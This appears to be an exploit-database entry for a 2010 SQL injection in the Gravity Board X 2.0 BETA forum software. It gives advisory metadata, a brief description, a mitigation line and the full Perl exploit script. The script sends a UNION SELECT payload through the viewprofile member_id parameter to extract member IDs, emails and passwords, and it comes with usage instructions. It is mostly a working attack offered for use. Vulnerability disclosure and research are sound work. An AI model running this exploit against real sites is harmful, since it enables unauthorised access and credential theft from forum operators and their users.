Gravity Board X 2.0 BETA (Public Release 3) SQL INJECTION

vendor:

Gravity Board X 2.0 BETA (Public Release 3)

by:

Ctacok

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Gravity Board X 2.0 BETA (Public Release 3)

Affected Version From: 2.0 BETA (Public Release 3)

Affected Version To: 2.0 BETA (Public Release 3)

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows SP 3

2010

Gravity Board X 2.0 BETA (Public Release 3) SQL INJECTION

This exploit allows an attacker to gain access to the admin credentials of Gravity Board X 2.0 BETA (Public Release 3) by exploiting a SQL Injection vulnerability. The exploit requires Magic_quotes to be set to Off. The exploit code is written in Perl and it takes the host and path as arguments. It then sends a request to the host with the vulnerable parameter and extracts the admin credentials from the response.

Mitigation:

Ensure that Magic_quotes is set to On and that all user input is properly sanitized.

Source

Exploit-DB raw data:

#!/usr/bin/perl 
# Exploit Title: Gravity Board X 2.0 BETA (Public Release 3) SQL INJECTION
# Date: 26.02.2010
# Author: Ctacok
# Software Link: http://www.gravityboardx.com/
# Version: 2.0 BETA (Public Release 3)
# Tested on: Windows SP 3 
# Code : [exploit code]

use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# Gravity Board X 2.0 BETA (Public Release 3) SQL INJECTION  #\n";
print "# Author: Ctacok  (Russian)                                  #\n";
print "# Blog : www.Ctacok.ru                                       #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";
print "# Big Thanks to Slip :)                                      #\n";
print "# Require : Magic_quotes = Off                               #\n";
print "##############################################################\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ prefix \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$prefix=$ARGV[2];   #  PREFIX TABLES, Default: gbx
$vuln = "-2'+union+select+concat(0x3a3a3a,memberid,0x3a,email,0x3a,pw,0x3a3a3a)+from+".$prefix."_members";
$doc = get($host.$path."index.php?action=viewprofile&member_id=".$vuln."+--+");
if ($doc =~ /:::(.+):(.+):(.+):::/){
        print "\n[+] Admin id: : $1";
		print "\n[+] Admin email: $2";
		print "\n[+] Admin password: $3";
}